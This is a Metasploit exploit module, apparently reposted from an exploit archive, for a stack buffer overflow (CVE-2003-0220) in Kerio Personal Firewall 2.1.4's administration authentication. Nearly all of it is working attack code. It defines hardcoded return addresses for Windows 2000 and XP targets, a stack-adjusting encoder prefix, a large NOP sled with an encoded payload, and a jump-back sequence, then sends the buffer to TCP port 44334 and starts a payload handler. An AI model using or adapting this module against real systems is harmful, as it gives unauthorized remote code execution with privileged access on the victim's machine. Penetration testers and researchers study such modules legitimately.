Kerio Firewall 2.1.4 Authentication Packet Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Tcp  
  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Kerio Firewall 2.1.4 Authentication Packet Overflow',  
'Description' => %q{  
This module exploits a stack overflow in Kerio Personal Firewall   
administration authentication process. This module has only been tested   
against Kerio Personal Firewall 2 (2.1.4).  
  
},  
'Author' => 'MC',  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>   
[   
['CVE', '2003-0220'],  
['OSVDB', '6294'],  
['BID', '7180'],  
['URL', 'http://www1.corest.com/common/showdoc.php?idx=314&idxseccion=10'],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 800,  
'BadChars' => "\x00",  
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",  
},  
'Platform' => 'win',  
  
'Targets' =>  
[  
[ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x7c2ec68b } ],  
[ 'Windows XP Pro SP0 English', { 'Ret' => 0x77e3171b } ],  
[ 'Windows XP Pro SP1 English', { 'Ret' => 0x77dc5527 } ],   
],  
  
'Privileged' => true,  
  
'DisclosureDate' => 'April 28 2003',  
  
'DefaultTarget' => 0))  
  
register_options(  
[  
Opt::RPORT(44334)  
], self.class)  
  
end  
  
def exploit  
connect  
  
print_status("Trying target #{target.name}...")  
  
sploit = make_nops(4468) + payload.encoded  
sploit << [target.ret].pack('V') + [0xe8, -850].pack('CV')  
  
sock.put(sploit)  
sock.get_once(-1, 3)  
  
handler  
disconnect  
end  
  
end  
`